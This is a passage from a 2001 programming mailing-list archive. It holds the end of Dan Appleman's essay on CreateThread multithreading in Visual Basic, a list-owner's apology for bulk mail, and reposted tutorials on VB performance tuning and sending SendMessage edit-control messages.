guaranteed by Visual Basic (in other words, even if it works now, there is
no assurance that it will work in the future). I would encourage you to use
API based techniques to exchange data in this case. However, the advantage
of the object based approach shown here is that it makes the problem of
exchanging data between threads trivial -- simply do it through the object.

Conclusion #1
I once heard from an experienced Windows programmer that OLE is the hardest
technology he's ever needed to learn. I agree. It is a vast subject and
parts of it are very difficult to understand. Visual Basic, as always, hides
much of the complexity from you.

There is a strong temptation to take advantage of advanced techniques such
as multithreading using a "tips and techniques" approach. This temptation is
encouraged by articles that sometimes present a particular solution,
inviting you to cut and past their techniques into your own applications.

When I wrote my original Visual Basic Programmer's Guide to the Windows API,
I explicitly disavowed that approach. I felt that it is generally
irresponsible to include code in an application that you don't understand,
and that real knowledge, while hard to gain, is worth the effort even in the
short run.

Thus my API books were designed not to provide quick answers and easy
solutions, but to teach API usage to such a degree that programmers can
intelligently apply even the most advanced techniques correctly, quickly
going beyond what is shown in the book. I applied this same approach to my
book on Developing ActiveX Components, which spends a great deal of time
discussing the principles of ActiveX, COM and object oriented programming
before getting into implementation details.

Much of my career in the Visual Basic field, and much of Desaware's
business, has been based on teaching Visual Basic programmers advanced
techniques. The reader who inspired this article by criticizing me of
holding back on threading technology and thus betraying this principle
missed the point.

Yes, I teach and demonstrate advanced techniques -- but I try never to miss
the bigger picture. The advanced techniques that I teach must be consistent
with the rules and specifications of Windows. They must be as safe to use as
possible. They must be supportable in the long run. They must not break when
Windows or Visual Basic changes.

I can claim only partial success -- it's a hard line to draw sometimes, and
Microsoft is at liberty to change the rules whenever they wish. But I always
keep it in mind and try to warn people where I think I may be pushing the
limit.

I hope this multithreading discussion shown here demonstrates the dangers of
applying "simple techniques" without a good understanding of the underlying
technology.

I can't promise that the apartment model version of CreateThread usage is
absolutely correct -- only that it is safe to the best of my understanding
and testing.

There may be other factors that I have missed -- OLE is indeed complex and
both the OLE DLLs and Visual Basic itself keep changing. I can only say that
to the best of my knowledge, the code I've shown does obey the COM rules and
that empirical evidence shows that Visual Basic 5.0's runtime is
sufficiently thread safe to run background thread code in a standard module.

Sequel #1- Regarding VB6
The following comments were written after the release of VB6

Sigh... It seems that many readers missed my original point. The ideas was
not to encourage VB programmers to use CreateThread with Visual Basic. It
was to explain clearly and accurately why you shouldn't use CreateThread
with Visual Basic.

So, when Visual Basic 6 turned out to be considerably less thread-safe than
VB5, breaking the sample programs referenced by this article, what could I
do? I suppose I could go back and revise the samples and try to make them
work with VB6. But then the same problem might arise with later versions of
Visual Basic as well.

Visual Basic offers good support of multithreading including multithreaded
clients in ActiveX servers (this is described quite thoroughly in the latest
edition of my Developing COM/ActiveX components book). I strongly encourage
you to stay within the rules defined by the Visual Basic documentation and
not use the CreateThread API with Visual Basic.

For those who insist on pursuing CreateThread further, to start with you
should eliminate all Declare statements and use a type library instead. I
don't promise that this will fix the problem, but my initial testing
indicates that it is a necessary first step.

Sequel #2 - Regarding SpyWorks 6.2
April 2000...

It seems that telling people not to use CreateThread wasn't a satisfactory
answer after all. I continued to receive requests for information on how to
create threads both for background operations and to use NT synchronization
objects from VB DLL's. As you probably know, when enough people ask for
something that isn't easy or possible to do with Visual Basic, sooner or
later it shows up as a new feature in SpyWorks. With version 6.2, we've
included a component called dwBackThread that allows you to create objects
from your VB DLL in their own thread and then trigger background operations.
The component handles all of the necessary marshaling and cleanup for you so
that it's as safe as one can be when doing multithreading. Most important -
it follows all of the COM threading rules, so you don't have to worry about
pieces of VB or components you use suddenly failing to work. See our product
pages on SpyWorks for further details.



For further reference:
"Dan Appleman's Developing COM/ActiveX Components with Visual Basic 6.0: A
Guide to the Perplexed" published by SAMS, ISBN 1-56276-576-0.

"Dan Appleman's Visual Basic 6.0 Programmer's Guide to the Win32 API"
published by SAMS, ISBN 0-672-31590-4.

Desaware's web site at http://www.desaware.com/.

#94 From: "FDB & HRB" <ferialb@...>
Date: Sat Jun 30, 2001 10:01 am
Subject: Mailing List Problem
ferialb@...
Send Email Send Email
 
Dear Friend,
I'm so sorry that you have received some bulk mails from my mailing list
during these few past hours. I was trying to invite new members to the list
but due a simple mistake in filling the invitation form, your email address
was directly added to the members list. I'm so sorry for this problem. I
hope you kindly excuse me for this accident.

Now every thing is under control and your email address is removed from the
list. so you wont receive any more emails from my list. But if you are a
computer programmer, my invitation is still available for you. if you like
to join this group please send a blank email to the following address:

fdb-subscribe@yahoogroups.com

It is a great pleasure for me to see you in my small group. :)
we can share our knowledge and help each other in programming problems.
please feel free to rejoin this list. I'm going to send lots of valuable
tips and tutorials to this list. perhaps you will like them. I have
collected them from all over the internet. and now I have a very valuable
collection to share with others. you can find more tutorials and tips in my
page at:
http://fdb.ipfox.com/
http://visualbasic.ipfox.com/

also if you have any comments or suggestions please share them with me. it's
a great pleasure for me to hear from you.
please notice that all of these things are completely free and there are no
banners! it's just a free personal offer for all of the computer programmers
all around the world. I HAVE NO COMMERCIAL REASONS.

again I apologize for the bulk mails.
Wish you a GRATE and HAPPY Day. :)

Best Wishes,
     Farzad Badili (FDB)
     mailto:farzadbadili@...
     http://fdb.ipfox.com/

     SHARE IF YOU KNOW, LEARN IF YOU DON'T.

#93 From: "FDB & HRB" <ferialb@...>
Date: Sat Jun 30, 2001 6:52 am
Subject: Performance Issues
ferialb@...
Send Email Send Email
 
Performance Issues
Found at http://www.vbweb.co.uk/show.asp?id=42

Introduction
After spending weeks or even months creating your application, the last
thing you want to find is that it takes half an hour to load, and uses up
more memory than even windows manages to consume! This tutorial will show
you how to limit memory usage, decrease file size, increase application
performance, and how to measure performance. I hope your applications
benefit from it!


Memory
One disadvantage of visual basic is the lack of control over memory. If you
compile an empty project, and then run it, that program will use almost 2MB
of memory, without you having written a single line of code! This is due to
all VB programs requiring MSVBMV60.dll (or 50 etc depending on the vb
version). Unfortunately, there is not much you can do about the memory usage
of this DLL. However, there are a number of other ways.

1) Ensure that you are referencing only to files that you need. Click
References on the Project menu and see there are any you do not need. You
will always need the following items checked:

Visual Basic For Applications
Visual Basic runtime objects and procedures
Visual Basic objects and procedures
OLE Automation

2) Ensure that your program is only using the components it needs. If you
are using just one or two items from the Microsoft Common Controls, try to
find a seperate control (normally free) from another site. For example, we
have a Progress Bar & Hyperlink control, and VB Accelerator has Image Lists,
TreeViews, ListViews, Outlook bars and more! This will cut down the size of
the controls you have to distribute, as well as the memory usage. Using any
control from the Microsoft Common Controls requires at least another 1MB of
memory.

3) When your program is running, if a form is not likely to be needed again
quickly, use the Unload statement to remove the form from the memory. If you
use the Hide statement, it simply hides the form - it is still resident in
the memory. If you need the form, use the Load statement. This does take
longer than using the Show statement (only after you have shown the form
once. The first time the form is shown, using the Show statement, it also
loads the form into the memory), however, if your program is very memory
hungry, it is one way of cutting down its memory usage.

4) Put infrequently used code into forms or classes, which can be created
and destroyed as required. If you put it in a module, it will be loaded when
your program is first run, whether it is needed or not.

5) Use the right data type declarations. If you have a variable that is only
going to hold numbers 1 to 256, use the Byte data type, rather than Integer
or Long. This will use 1 byte of memory instead of 4 bytes. Declaring one
variable as a byte instead of Long will not make much difference, but if you
have a large number of variables, it can help cut memory usage down. Even if
the effects are not noticeable, it is a good habit to get into.

Have a performance tip that you would like mentioned? Email us with it.


Compiling
The release of VB5 at last gave VB programmers a chance to compile their VB
applications to Native code. When you compile your VB project, and decide
whether to compile as Native or P-code, and Fast or Small, there are a
number of things to consider. To change any of these settings of your
program, click the Compile tab on the project properties dialog.

The first is speed. How important this is depends on the type of program you
are writing. Below is some results on a PIII 500Mhz, using the code below as
the 'stuff to do'.

For I = 0 To 1000000 Step 0.1
     A = Sqr(I) + A
     z = A / 32.34
Next

Compile Mode Time Taken
Native Code - Fast Code 8.077
Native Code - Small Code 9.1745
Native Code - Fast Code (Favour Pentium) 8.7876
Native Code - Small Code (Favour Pentium) 8.9505
Native Code - No Optimization 9.4461
P-Code 9.5598
Run-time 10.0695

As you can see, P-code is significantly slower than when compiling to Native
Code.

The other is size. When you are distributing your program using CD-rom, this
is not very significant. However, if you are making your program available
over the internet, things are different. Below is the different sizes of my
Developers Pad program when compiled in the different modes.

Compile Mode Size
Native Code - Fast Code 816KB
Native Code - Small Code 772KB
Native Code - No Optimization 876KB
P-Code 472KB

As you can see, P-code is also significantly smaller than when compiling to
Native Code. What you will have to decide on, is which mode you want to use.
This will all depend on how you are distributing your program, and how
important speed actually is. For simple things such as a Word processor,
speed would not be very important (unless you perform a large amount of
processing as the user is typing), and you may opt for the smaller
executable file.

It is also worth noting that compiling to P-code is much, much quicker than
compiling to Native code.

*** If you want to detect as many possible errors without compiling, start
your program by pressing Ctrl+F5 instead of F5, as this will compile your
program fully. You can also do this by unchecking compile on demand in the
options dialog. Thanks to Magik for pointing this out to me. You can visit
his website @ magikweb.cjb.net ***


Increasing Speed
Have a performance tip that you would like mentioned? Email us with it.

There are a large number of factors that affect the speed of your program.
Below is a list of some of them.

Pass variables ByVal instead of ByRef (the default).
This way, Visual Basic does not have to send the address of the variable,
and retreive it after the procedure has been called. For more information on
this, click here.

Use the magic $.
When using string functions that have an alternative function with a $ after
it, use that instead. Click here for why!

Don't calculate the same thing over and over again.
For example, if you constantly want to know the length of a string that does
not change, save the length to a variable, instead of constantly calling the
Len function.

Don't ask for the same thing over and over again.
When constantly requesting a property (ie the Text property of a
RichTextBox), which you know will not change, save the value to a local
variable, and use that instead. It is much quicker! For example
sBuffer = RichTextBox1.Text
For i = 0 To Len(sBuffer)
     sTemp = Mid$(sBuffer, i, 1)
     Msgbox sTemp
Next

Use Select Case instead of multiple If...ElseIf statements.
This is much quicker.

Tell the control to stop redrawing.
If you a performing a lot of operations on a control at once (for example,
formatting different parts of text in a Rich Text box), use the WM_SETREDRAW
constant with the SendMessage Win API call, or the LockWindowUpdate API call
to stop the control constantly redrawing. This makes your program look
tidier (so that the control is not constantly flickering as your code runs),
and improves performance (because the control does not have to constantly
redraw). Here is how to use the two Win API calls:
For using SendMessage:
Private Declare Function SendMessage Lib "user32" Alias "SendMessageA"
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As
Any) As Long
Private Const WM_SETREDRAW = &HB
'// Use this for stopping redrawing:
SendMessage TextBox1.hWnd, WM_SETREDRAW, False, 0&
'// Use this to redraw again:
SendMessage TextBox1.hWnd, WM_SETREDRAW, True, 0&
TextBox1.Refresh
For using LockWindowUpdate
Private Declare Function LockWindowUpdate Lib "user32" Alias
"LockWindowUpdate" (ByVal hwndLock As Long) As Long
'// Use this for stopping redrawing:
LockWindowUpdate TextBox1.hWnd
'// Use this to redraw again:
LockWindowUpdate 0
LockWindowUpdate is easier and quicker, however, if the form itself is
requested to do so, it will (ie if the form in minimized and then maximized
again), and the request for no redrawing will be lost.

Use the With statement.
If you have a loop where you reference a control or object over and over,
use the With/End With statement block. It will stop VB from constantly
looking up the address reference to the object each time it is encountered.
VB will look up the reference only once at the beginning of the block saving
redundant lookups. (Thanks to Jeffery Bogusz)

Use Labels instead of TextBoxes, unless the user needs to type into the
TextBox. If you like the look of the TextBox you can reproduce it by setting
a Labels border to Single. (Thanks to Sirius Lee)

Use control arrays for any related controls, especially with Label controls
that just display text and do nothing else. This saves memory, and increase
efficiency. This also works really well with Option Controls contained in a
Frame. Thanks to Sirius Lee.
Set the AutoRedraw property to False.
Unless you have pictures that are updated often, you can set the Autoredraw
to False and as long as you placed controls correctly, no overlapping, set
the Clip Controls option to False. (Thanks to Sirius Lee)
Use the Static variable type only where necessary
Instead, use the variable at the module level (i.e. declare it as private in
a form or module). This increases the speed of operation with this variable.
The advantage of using of variable Static type on level of procedure is the
readability of code, the disadvantage is the speed of operation with this
variable. Therefore it is better to use variables declared in module (the
value of this variable remains the same at all procedures in this module).
(Thanks to Lada Simicek)
Only use public variables where necessary
If your variable does not need to be accessed outside the form/module etc,
declare it as private! (Thanks to Berton Christophe)

Reduce frequent calls to the same procedure and replace it by using code.
When your program frequently calls the same procedure (cycle), the speed
goes down. In this case, it is recommended to write code of called procedure
directly in the cycle. The advantage of it is the faster speed, the
disadvantage is worse readability of the code. (Thanks to Lada Simicek)
Use constants instead of variables wherever possible.
If you want to use the values that will not be changed, use constants.
(Thanks to Lada Simicek)
Use early-binding.
Don't declare as object if at all possible. You can use polymorphism when
using similar classes.
Have a performance tip that you would like mentioned? Email us with it.

The magic $
Many of you will have noticed that there is both a Mid and a Mid$ function,
as well as Left$, Right$, and a number of other functions. However, it is
not obvious what the difference actually is. When you use the Mid function,
it returns a string as a Variant data type. As you would normally save the
result to a string, not a Variant, Visual Basic then has to convert the
Variant into a string. When you use the Mid$ function, it returns a string
in a String variable. This saves Visual Basic the trouble of converting the
Variant to a String, and thus increases performance. When you perform long
loops of code, using Mid, and the other string functions, this can make
quite a difference. I have yet to find an instance when you would actually
want the Mid statement to return a Variant, and not a String, so I am not
sure why Microsoft have done this. To see a list of all the procedures that
have a $ (string) version as well, open the object browser (F2), enter $
into the find box, and press Find. This will give you a list of about 25
procedures where this is the case.


Measuring Performance
When you make changes to your program, hoping to make it run faster, you
need a way to accurately measure the time between certain events. You can do
this by using the QueryPerformanceCounter and QueryPerformanceFrequency to
measure this. As an example, lets use the following code:


Private Declare Function QueryPerformanceCounter Lib "kernel32"
(lpPerformanceCount As Any) As Long
Private Declare Function QueryPerformanceFrequency Lib "kernel32"
(lpFrequency As Any) As Long
'// timer frequency
Dim secFreq As Currency

Private Sub cmdTimeIt_Click()
     Dim sec As Currency, secOut As Currency
     Dim I As Long
     '// start the timer
     ProfileStart sec
     '// do something
     For I = 0 To 1000000
         DoEvents
     Next
     ProfileStop sec, secOut
     MsgBox secOut
End Sub
Sub ProfileStart(secStart As Currency)
     '// if we do not have the timer frequency, then get it
     If secFreq = 0 Then QueryPerformanceFrequency secFreq
     '// get the current value
     QueryPerformanceCounter secStart
End Sub

Sub ProfileStop(secStart As Currency, secTiming As Currency)
     '// get the time passed
     QueryPerformanceCounter secTiming
     If secFreq = 0 Then
         '// there is no high-resolution timer available.
         secTiming = 0
     Else
         '// calculate the time taken from the start value, finish value, and
the timer frequency.
         secTiming = (secTiming - secStart) / secFreq
     End If
End Sub

As you can see, we pass the ProfileStart procedure an empty Currency
variable (sec) to hold the start value. When the code you want to run is
finished, call the ProfileStop procedure with the start value (sec), and
another empty Currency variable (secOut). The value contained in secOut is
the time taken. You usually get the time taken, accurate to the nearest
microsecond. As you can see, this is invaluable when trying to see the
changes in performance as you change your code.

We can also use GetTickCount API for Measuring Performance. The following
code gives you an example.

Private Sub TimeOperation()
     Dim I as Long
     Dim x as Long
     Dim Y as Long
     Dim Z as Double

     X = GetTickCount()
     For I = 0 to 1000000
         Z = SIN(i)
     Next I

     Y = GetTickCount - x
     MsgBox "This operation takes " & Y/1000 & " seconds to finish'
End Sub

Thanks to Georgi Ganchev for this tip.

For more information on this, and other methods for timing code, search for
'HOWTO: Use QueryPerformanceCounter to Time Code' in the MSDN library.


SQL vs DAO
Thanks to Lada Simicek for this (and many other) tips.

How much faster is the selection of data from Microsoft Access database
using SQL statement than DAO common statements?

Many programmers do not take advantage of using SQL statements when working
with DAO databases. This is generally because of the work involved learning
of SQL language, compared to using common DAO statements. On the other hand
SQL is very much faster and more powerful then DAO statements.

This short example shows how much is SQL statement faster then DAO
statement. This program will find each author's name from Biblio.mdb (you
should find this file in VB directory) that begins on the letter "S" and
whose year of born was after 1930. You can simply compare the speed using
SQL statement or DAO statement.

Be sure that in your application directory is located the file Biblio.mdb or
change the line:

Set dbData = dbWork.OpenDatabase (App.Path & "\Biblio.mdb")

In Project|References select Microsoft DAO 3.51 Object Library or Microsoft
DAO 2.51 Object Library.

Add two buttons to the form, and set their Caption properties to the
following:

Command1 - DAO
Command2 - SQL

Then, copy this code:

Private dbWork As Workspace
Private dbData As Database
Private dbTabl As Recordset
Private dblTime As Double
Private dbTablSQL As Recordset

Private I as Long

Private Sub Command2_Click()

     Debug.Print "_____________________________________________"
     '//Start
     dblTime = Timer
     Set dbTablSQL = dbData.OpenRecordset("SELECT * FROM " _
     & " [Authors] WHERE [Author] Like 'S*' And [Year Born] > 1930 ")

     dbTablSQL.MoveLast
     dbTablSQL.MoveFirst
     For I = 0 To dbTablSQL.RecordCount - 1
         Debug.Print " Au_ID: " & dbTablSQL.Fields("[Au_ID]") _
         & ",   Author's name: " & dbTablSQL.Fields("[Author]") _
         & ",   Born: " & dbTablSQL.Fields _
         ("[Year Born]")
         dbTablSQL.MoveNext
     Next I
     '//Stop
     dblTime = (Timer - dblTime)
     Debug.Print "SQL time: " & dblTime
     dbTablSQL.Close

End Sub

Private Sub Command1_Click()

     Debug.Print "_____________________________________________"
     '//Start
     dblTime = Timer

     dbTabl.MoveLast
     dbTabl.MoveFirst
     For I = 0 To dbTabl.RecordCount - 1
         If Left$(dbTabl.Fields("[Author]"), 1) = "S" And _
         dbTabl.Fields("[Year Born]") > 1930 Then
             Debug.Print " Au_ID: " & dbTabl.Fields("[Au_ID]") _
             & ",   Author's name: " & dbTabl.Fields("[Author]") _
             & ",   Born: " & dbTabl.Fields("[Year Born]")
         End If
         dbTabl.MoveNext
     Next I
     '//Stop
     dblTime = (Timer - dblTime)
     Debug.Print "DAO time: " & dblTime

End Sub

Private Sub Form_Load()

       Set dbWork = DBEngine.Workspaces(0)
       Set dbData = dbWork.OpenDatabase _
       (App.Path & "\\Biblio.mdb") '//Set the path where _
       the file Biblio.mdb is located
       Set dbTabl = dbData.OpenRecordset("Authors", _
            dbOpenDynaset)

End Sub

Now, try it several times and compare the results.

#92 From: "FDB & HRB" <ferialb@...>
Date: Sat Jun 30, 2001 6:54 am
Subject: Sending Messages
ferialb@...
Send Email Send Email
 
Sending Messages
Found at http://www.vbweb.co.uk/show.asp?id=46

Introduction
Visual C++ revolves around messages. Messages are sent to controls from
windows giving them information and instructing them to do things. Messages
are also sent from controls to windows, and to other controls. Being able to
send messages to controls allows you to do much more than using Visual Basic
procedures. Messages can be sent using the SendMessage function in the
user32.dll. To use it, simply enter the following declaration into a form.
If you want to enter it into a module, and use it throughout the project,
change the Private to Public.

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA"
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As
Any) As Long

All you need to know to send a message to a control is its hWnd property and
the command you want to send to it. To find the command you want to use,
load up the API Text Viewer, and select Constants from the API Type list
box. Constants that begin with WM_ tell the control to do something, EM_ to
return a value.

The advantage of being able to send these commands is that you are using the
controls code, which you presume is bug free, rather than your own. This
will save space as well as time. Of course if you want to do something the
control can't do you have to write your own code still.


Simple Commands
All the commands that tell a control to do something begin with WM_ so enter
WM_ into the text box, and it will bring you to the point in the list with
all those constants in. One of the easiest things to try out sending
messages on is a text box. There are constants that will allow you to
perform basic functions by sending a command to a text box, or Rich Text Box
to Cut, Copy, Paste, Clear and Undo. These are WM_CUT, WM_COPY, WM_PASTE,
WM_CLEAR and WM_UNDO. Their values are listed below:

Const WM_CUT = &H300 ' Cut the selected text to the clipboard (Ctrl+X)
Const WM_COPY = &H301 ' Copy the selected text to the clipboard (Ctrl+C)
Const WM_PASTE = &H302 ' Pastes the text from the clipboard (Ctrl+V)
Const WM_CLEAR = &H303 ' Clears the selected text (Del)
Const WM_UNDO = &H304 ' Undos the last action (Ctrl+Z)

To send a command to the text box to do any of these things, use the
following syntax:

SendMessage(TextBoxName.hWnd, Constant, 0, 0& )

Where TextBoxName is the name of your text box, and Constant is one of the
constants listed above. The other two properties are set to 0 and 0& (Null)
as in this case we are telling the TextBox to do something, not to set a
property and so they are not needed. The following example cuts the text
from Text1 onto the Clipboard, when Command1 is pressed:

Private Const WM_COPY = &H301
Private Const WM_PASTE = &H302
Private Const WM_CUT = &H300

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA"
(ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As
Any) As Long

Private Sub Command1_Click()
     SendMessage Text1.hwnd, WM_CUT, True, 0&
End Sub


More Commands
Below is a list of all the commands you can send to Edit controls. You can
find the declarations required using the WinAPI viewer. This table has been
extracted from MSDN. To view the page, and get information on each of these
messages, display MSDN contents, and go:

Platform SDK | User Interface Services | Controls | Edit Controls | About
Edit Controls | Edit Control Default Message Processing

A full list of messages is available at

Platform SDK | User Interface Services | Controls | Edit Controls | Edit
Control Reference | Edit Control Messages

Message Default action
EM_CANUNDO Returns TRUE if the edit control operation can be undone.
EM_CHARFROMPOS Returns the character index and line index of the character
nearest the specified point.
EM_EMPTYUNDOBUFFER Empties the undo buffer and sets the undo flag retrieved
by the EM_CANUNDO message to FALSE. The system automatically clears the undo
flag whenever the edit control receives a WM_SETTEXT or EM_SETHANDLE
message.
EM_FMTLINES Adds or removes soft line break characters (two carriage returns
and a linefeed) to the ends of wrapped lines in a multiline edit control. It
is not processed by single-line edit controls.
EM_GETFIRSTVISIBLELINE Returns the zero-based index of the first visible
character in a single-line edit control or the zero-based index of the
uppermost visible line in a multiline edit control.
EM_GETHANDLE Returns a handle identifying the buffer containing the
multiline edit control's text. It is not processed by single-line edit
controls.
EM_GETLIMITTEXT Returns the current text limit, in characters.
EM_GETLINE Copies characters in a single-line edit control to a buffer and
returns the number of characters copied. In a multiline edit control,
retrieves a line of text from the control and returns the number of
characters copied.
EM_GETLINECOUNT Returns the number of lines in the edit control.
EM_GETMARGINS Returns the widths of the left and right margins.
EM_GETMODIFY Returns a flag indicating whether the content of an edit
control has been modified.
EM_GETPASSWORDCHAR Returns the character that edit controls use in
conjunction with the ES_PASSWORD style.
EM_GETRECT Returns the coordinates of the formatting rectangle in an edit
control.
EM_GETSEL Returns the starting and ending character positions of the current
selection in the edit control.
EM_GETTHUMB Returns the position of the scroll box.
EM_GETWORDBREAKPROC Returns the address of the current word wrap function in
an edit control.
EM_LINEFROMCHAR Returns the zero-based number of the line in a multiline
edit control that contains a specified character index This message is the
reverse of the EM_LINEINDEX message. It is not processed by single-line edit
controls.
EM_LINEINDEX Returns the character of a line in a multiline edit control.
This message is the reverse of the EM_LINEFROMCHAR message. It is not
processed by single-line edit controls.
EM_LINELENGTH Returns the length, in characters, of a single-line edit
control. In a multiline edit control, returns the length, in characters, of
a specified line.
EM_LINESCROLL Scrolls the text vertically in a single-line edit control or
horizontally in a multiline edit control (when the control has the ES_LEFT
style). The lParam parameter specifies the number of lines to scroll
vertically, starting from the current line. The wParam parameter specifies
the number of characters to scroll horizontally, starting from the current
character.
EM_POSFROMCHAR Returns the client coordinates of the specified character.
EM_REPLACESEL Replaces the current selection with the text in an
application-supplied buffer, sends the parent window EN_UPDATE and EN_CHANGE
messages, and updates the undo buffer.
EM_SCROLL Scrolls the text vertically in a multiline edit control. This
message is equivalent to sending a WM_VSCROLL message to the edit control.
It is not processed by single-line edit controls.
EM_SCROLLCARET Scrolls the caret into view in an edit control.
EM_SETFONT Unsupported.
EM_SETHANDLE Sets a handle to the memory used as a text buffer, empties the
undo buffer, resets the scroll positions to zero, and redraws the window.
EM_SETLIMITTEXT Sets the maximum number of characters the user may enter in
the edit control.
Windows NT: For single-line edit controls, this value is either 0x7FFFFFFE
or the value of the wParam parameter, whichever is smaller. For multiline
edit controls, this value is either 0xFFFFFFFF or the value of the wParam
parameter, whichever is smaller.

Windows 95 and Windows 98: For single-line edit controls, this value is
either 0x7FFE or the value of the wParam parameter, whichever is smaller.
For multiline edit controls, this value is either 0xFFFF or the value of the
wParam parameter, whichever is smaller.

EM_SETMARGINS Sets the widths of the left and right margins, and redraws the
edit control to reflect the new margins.
EM_SETMODIFY Sets or clears the modification flag to indicate whether the
edit control has been modified.
EM_SETPASSWORDCHAR Defines the character that edit controls use in
conjunction with the ES_PASSWORD style.
EM_SETREADONLY Sets or removes the read-only style (ES_READONLY) in an edit
control.
EM_SETRECT Sets the formatting rectangle for the multiline edit control and
redraws the window. It is not processed by single-line edit controls.
EM_SETRECTNP Sets the formatting rectangle for the multiline edit control
but does not redraw the window. It is not processed by single-line edit
controls.
EM_SETSEL Selects a range of characters in the edit control by setting the
starting and ending positions to be selected.
EM_SETTABSTOPS Sets tab-stop positions in the multiline edit control. It is
not processed by single-line edit controls.
EM_SETWORDBREAKPROC Replaces the default word wrap function with an
application-defined word wrap function.
EM_UNDO Removes any text that was just inserted or inserts any deleted
characters and sets the selection to the inserted text. If necessary, sends
the EN_UPDATE and EN_CHANGE notification messages to the parent window.
WM_CHAR Writes a character to the single-line edit control and sends the
EN_UPDATE and EN_CHANGE notification messages to the parent window. Writes a
character to the multiline edit control. Handles the accelerator keys for
standard functions, such as ctrl+c for copying and ctrl+v for pasting. In
multiline edit controls, also processes tab, and ctrl+tab keystrokes to move
among the controls in a dialog box and to insert tabs into multiline edit
controls. Uses the MessageBeep function for illegal characters.
WM_CLEAR Clears the current selection, if any, in an edit control. If there
is no current selection, deletes the character to the right of the caret. If
the user presses the shift key, this cuts the selection to the clipboard, or
deletes the character to the left of the caret when there is no selection.
If the user presses the ctrl key, this deletes the selection, or deletes to
the end of the line when there is no selection.
WM_COPY Copies text to the clipboard unless the style is ES_PASSWORD, in
which case the message returns zero.
WM_CREATE Creates the edit control and notifies the parent window with TRUE
for success or -1 for failure.
WM_CUT Cuts the selection to the clipboard, or deletes the character to the
left of the cursor if there is no selection.
WM_ENABLE Causes the rectangle to be redrawn in gray for single-line edit
controls. Returns the enabled state for single-line and multiline edit
controls.
WM_ERASEBKGND Fills the multiline edit control window with the current color
of the edit control.
WM_GETDLGCODE Returns the following values: DLGC_WANTCHARS, DLGC_HASSETSEL,
and DLGC_WANTARROWS. In multiline edit controls, it also returns
DLGC_WANTALLKEYS. If the user presses alt+backspace, it also returns
DLGC_WANTMESSAGE.
WM_GETFONT Returns the handle of the font being used by the control, or NULL
if the control uses the system font.
WM_GETTEXT Copies the specified number of characters to a buffer and returns
the number of characters copied.
WM_GETTEXTLENGTH Returns the length, in characters, of the text in an edit
control. The length does not include the null- terminating character.
WM_HSCROLL Scrolls the text in a multiline edit control horizontally and
handles scroll box movement.
WM_KEYDOWN Performs standard processing of the virtual-key codes.
WM_KILLFOCUS Removes the keyboard focus of an edit control window, destroys
the caret, hides the current selection, and notifies the parent window that
the edit control has lost the focus.
WM_LBUTTONDBLCLK Clears the current selection and selects the word under the
cursor. If the shift key is down, extends the selection to the word under
the cursor.
WM_LBUTTONDOWN Changes the current insertion point. If the shift key is
down, it extends the selection to the position of the cursor. In multiline
edit controls, also sets the timer to automatically scroll when the user
holds down the mouse button outside the multiline edit control window.
WM_LBUTTONUP Releases the mouse capture and sets the text insertion point in
the single-line edit control. In a multiline edit control, it also kills the
timer set in the WM_LBUTTONDOWN message.
WM_MOUSEMOVE Changes the current selection in the single-line edit control,
if the mouse button is down. In a multiline edit controls, also sets the
timer to automatically scroll if the user holds down the mouse button
outside the multiline edit control window.
WM_NCCREATE Pointer to the CREATESTRUCT structure for the window. This
message is sent to the WM_CREATE message when a window is first created.
WM_NCDESTROY Frees all memory associated with the edit control window,
including the text buffer, undo buffer, tab-stop buffer, and highlight
brush.
WM_PAINT Erases the background, fills the window with the current color of
the edit control window, draws the border (if any), sets the font and draws
any text, and shows the text-insertion caret.
WM_PASTE Pastes text from the clipboard into the edit control window at the
caret position.
WM_SETFOCUS Sets the keyboard focus of an edit control window (shows the
current selection, if it was hidden, and creates the caret).
WM_SETFONT Sets the font and optionally redraws the edit control.
WM_SETTEXT Copies text to the single-line edit control, notifies the parent
window when there is insufficient memory, empties the undo buffer, and sends
the EN_UPDATE and EN_CHANGE notification messages to the parent window. In
multiline edit controls, also rewraps the lines (if necessary) and sets the
scroll positions.
WM_SIZE Changes the size of the edit control window and ensures that the
minimum size accommodates the height and width of a character.
WM_SYSCHAR Returns TRUE if the user presses alt+backspace; otherwise, it
takes no action.
WM_SYSKEYDOWN Undoes the last action if the user presses alt+backspace;
otherwise, it takes no action.
WM_TIMER Scrolls the text in the edit control window if the user holds down
the mouse button outside the multiline edit control window.
WM_UNDO Removes any text that was just inserted or inserts any deleted
characters and sets the selection to the inserted text. If necessary, sends
the EN_UPDATE and EN_CHANGE notification messages to the parent window.
WM_VSCROLL Scrolls a multiline edit control vertically and handles scroll
box movement. It is not processed by single-line edit controls.



Getting Values
There are a number of constants that return values from the SendMessage
function. You can also use the SendMessage function to get information from
a control because, as it is a function it can return a value. These expose a
number of useful properties which are not available with the standard VB
control properties. These all begin with EM_ . A few are listed below

Const EM_CANUNDO = &HC6 ' Can we undo the last action?
Const EM_GETFIRSTVISIBLELINE = &HCE ' Get the first visible line in the rich
text box
Const EM_GETLINE = &HC4 ' Get the current line number
Const EM_GETLINECOUNT = &HBA ' Get the total number of lines

To send a command to the text box to do any of these things and get a return
value, use the following syntax:

Variable = SendMessage(TextBoxName.hWnd, Constant, 0, 0& )

Where Variable is a variable with the correct data type (in the case of
using the above constants - Boolean), TextBoxName is the name of your text
box, and Constant is one of the constants listed above. The other two
properties are set to 0 and 0& (Null) as they are not needed.

The following example also uses a text box, but finds out if you can Undo in
Text1, and if so enables the Undo menu item.

mnuUndo.Enabled = SendMessage(Text1.hWnd, EM_CANUNDO, 0, 0&) ' This will
return either True or False

The following example uses a text box, finds out the number of lines, and
displays it in a message box.

Dim nLines As Long
nLines = SendMessage(Text1.hWnd, EM_GETLINECOUNT, 0, 0&) ' This will return
either True or False
Msgbox "This document has " & nLines & " lines"


Setting Properties
Using Messaging, you can also set properties of controls. One of these is
the redraw properties. For example, when you add lots of items to a listbox,
or move the position of a cursor around a text box before restoring it to
its previous position you will see lots of flickering. This is because the
control is redrawing every time you add an item, or change the selection.
Using messaging, you can change a property to stop this. Two are listed
below

Const WM_SETFOCUS = &H7
Const WM_SETREDRAW = &HB

Using the constants above, you normally use the following syntax:

SendMessage(ControlName.hWnd, Constant, TRUE_OR_FALSE, 0& )

